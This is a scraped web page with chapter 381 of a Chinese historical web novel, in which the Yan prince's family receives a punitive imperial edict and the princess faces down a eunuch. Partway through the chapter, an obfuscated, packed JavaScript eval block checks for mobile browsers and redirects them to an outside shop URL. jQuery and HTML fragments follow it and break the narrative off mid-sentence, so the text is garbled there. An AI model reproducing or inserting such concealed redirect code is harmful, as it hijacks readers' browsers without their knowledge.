第381章 圣旨算个屁?我娘才是天!

作品:《让你当伙夫,你喂出活阎王

    街道尽头,马蹄声由远及近,带着一股肃杀之气。


    一名身穿宝蓝色内官服饰,面白无须的太监,在一队锦衣卫的簇拥下策马而来。


    他猛地勒住缰绳,冷眼扫过全场,最后目光定格在地上那摊烂泥似的赵钱身上。


    “王公公!”


    幸存的禁军们像见了亲爹,连滚带爬地围过去,指着朱高煦告状:


    “公公!您可得为我们做主啊!燕王府的二殿下,他目无王法,当街行凶!”


    被称为王公公的太监翻身下马,脸上挂着一层冰霜。


    他走到赵钱身边,嫌恶地用脚尖踢了踢,确认人还没死透,这才抬起头,用尖细刺耳的声音厉喝:


    “燕王二子!你好大的狗胆!”


    “赵百户乃是皇太孙亲点的禁军,是天子脚下的脸面!你竟敢当街将其打成重伤,这跟谋反有什么区别!”


    王公公向前一步,兰花指几乎要戳到朱高煦的鼻子上。


    “你这是目无君父,罪无可赦!来人!把这狂悖的逆子给咱家拿下,押入诏狱!”


    “哗啦——!”


    他身后的锦衣卫齐刷刷拔出绣春刀,森然的刀光瞬间锁定了兄弟二人。


    “我看谁敢!”


    朱高煦一把推开挡在身前的朱高燧,握着抢来的刀,浑身散发着刚从尸山血海里爬出来的凶气。


    **,一群阉狗也敢在他面前叫唤!


    “二哥!”朱高燧也急了,抄起一根门栓,准备跟他们拼了。


    就在这剑拔**张的关头。


    一个清冷而沉静的声音,从王府内传来。


    “王公公好大的官威。”


    众人循声望去。


    只见燕王妃徐妙云,一身素服,未施粉黛,就那么静静地从门内走出。


    她身后只跟着两个侍女,可她一出现,那股与生俱来的贵气,竟将在场所有锦衣卫的杀气都压得一滞。


    仿佛她不是被圈禁的王妃,而是这座宫城真正的主人。


    王公公眼皮一跳,气焰矮了三分,但依旧强撑着阴阳怪气:“咱家见过王妃。只是王妃怕是没看到,您这好儿子,把天子亲军打成了什么样子!”


    徐妙云没看地上的烂肉,目光平静地落在王公公脸上。


    “我只问一句。”


    “既然是天子亲军,为何会当街羞辱皇孙?”


    “既然是天子亲军,为何敢口出狂言,说我燕王府是落**的凤凰?”


    “我朱家的人,什么时候轮到一条禁军的走狗来教怎么做事了?”


    徐妙云的声音不大,却像一把把刀子,扎进王公公的心窝。


    王公公的脸瞬间就白了。


    “我儿高煦有错。”徐妙云的语气依旧平静,却带着不容置疑的力量,“可他错在,下手太轻了。”


    她凤目微抬,扫过所有噤若寒蝉的锦衣卫。


    “对于这种不知尊卑、以下犯上的奴才,就该当场格杀!以正国法!”


    “王公公要拿人,可以。不过,不是去诏狱。”


    “而是去宗人府!”


    “我倒要请宗人府的宗正们评评理,是我儿出手自卫有错,还是他赵钱羞辱皇室宗亲,罪该万死!”


    王公公被堵得哑口无言,冷汗顺着额角就下来了。


    这事一旦捅到宗人府,不管谁对谁错,皇太孙脸上都挂不住!


    这女人,是个狠角色!


    眼看抓人不成,王公公脸色一沉,终于亮出了真正的杀招。


    他从袖中掏出一卷明黄圣旨,高高举起,尖着嗓子喊道:


    “燕王妃徐氏,燕王之子朱高煦、朱高燧,接旨!”


    徐妙云整理衣衫,带着两个儿子,平静跪下。


    王公公展开圣旨,那尖利的声音带着一种报复式的畅快,响彻整条街。


    “太孙殿下旨:燕王朱棣教子无方,致其子顽劣悖逆!又,北平军务糜烂,耗费巨大,实为国之蠹虫!着,即日起,削减燕王府在京用度八成!”


    “另,所谓‘饕餮卫’,名号不祥,行事猖獗,即刻撤销其番号,勒令就地解散,兵员归入北平各卫所!”


    “钦此——!”


    这道旨意,又准又狠,直接捅进了燕王府的心窝子!


    削减用度!撤销番号!


    这已经不是敲打,这是釜底抽薪!这是要一波带走!


    “我不接!”


    朱高煦猛地站起,双目赤红。


    “他朱允炆算个什么东西!也配撤我父王的番号!”


    “住口!”


    徐妙云一声低喝,眼神如电,死死盯住朱高煦。


    朱高煦浑身一颤,那股滔**火,竟被母亲一个眼神给硬生生冻住。


    他咬碎钢牙,指节捏得咯吱作响,最终还是**地,重新跪了下去。


    “臣,徐氏,接旨。”


    “臣子,朱高煦、朱高燧,接旨。”


    徐妙云双手高高举起,从王公公手中,接过了那份薄薄的圣旨。


    随着圣旨宣读,几名户部官员立刻像闻到血的苍蝇,一拥而上。


    他们手拿封条,麻利地查封了燕王府在京城的几处米铺、布庄和当铺。


    更有甚者,直接冲进后院,将库房里堆积的银霜炭一车车往外搬,只留下几百斤黑乎乎、烟气呛人的劣质烟煤。


    这是要让燕王府的人,连这个冬天都过不去!


    朱高煦的眼睛,已经红得快要滴血。


    王公公看着这一幕,笑得嘴角都快咧到耳根。他走到徐妙云面前,故意拖长音调:“王妃娘娘,旨意也接了,咱家……是不是该回宫复命了?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902928|183138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    这是在赤裸裸地索要赏钱。


    徐妙云看了一眼身后的管家。


    老管家会意,从怀里掏出一个小小的钱袋递了过去。


    王公公得意地接过,入手却是一轻。


    他打开一看,脸上的笑容瞬间僵住。


    没有金叶子。


    只有一把碎得不能再碎的散碎银子,加起来怕是连二两都不到。


    “王府如今清贫,不比往日。”


    徐妙云的声音淡淡传来,听不出喜怒。


    “些许碎银,不成敬意。公公拿去,买杯热茶喝吧。”


    羞辱!


    赤裸裸的羞辱!


    王公公的脸一阵青一阵白,捏着那袋碎银的手都在发抖。


    这点钱,打发要饭的呢!


    他死死瞪了徐妙云一眼,最终一甩袖子,咬牙切齿地吐出几个字:“我们走!”


    看着那帮人扬长而去,朱高燧气得一脚踹在石狮子上:“娘!他们欺人太甚!”


    徐妙云没有说话,只是默默站起身,将那道圣旨小心翼翼地折好,收入袖中。


    她的脸上,没有愤怒,没有悲伤,只有一片深不见底的平静。


    是夜。


    燕王府内,再无往日的灯火。


    几盏昏暗的煤油灯在寒风中摇曳,呛人的黑烟熏得人眼睛生疼。


    徐妙云将朱高煦和朱高燧叫到内室。


    “娘,我去找他们拼了!”朱高煦依旧怒气难平。


    “拼?”徐妙云看着他,眼神锐利,“用什么拼?用你这一腔热血?”


    “今天的事,只是一个开始。”


    徐妙云的声音很轻,却让两个血气方刚的儿子,都感到了刺骨的寒意。


    “真正的寒冬,来了。”


    她从梳妆台最底层一个不起眼的暗格里,取出一个小小的首饰盒。


    打开盒子,里面没有珠翠,只有一枚造型古朴、毫不起眼的铜哨。


    她将铜哨递给朱高煦。


    “拿着。”


    “从今天起,时刻贴身藏好,便是睡觉,也不准离身。”


    朱高煦接过那枚冰冷的铜哨,不解地问:“娘,这是什么?”


    徐妙云没有回答,只是深深地看了他一眼。


    “到了该用的时候,你自然会知道。”


    与此同时。


    紫禁城,深宫。


    朱元璋听完朱允炆添油加醋的汇报,突然脸色一白。


    他猛地捂住嘴,发出一阵撕心裂肺的咳嗽。


    “咳……咳咳咳……”


    一旁的太监连忙递上手帕。


    朱元璋颤抖着手,将手帕从嘴边拿开。


    烛光下,朱允炆看得清清楚楚。


    雪白的手帕中央,一滩已经发黑的血迹,刺得他眼睛生疼。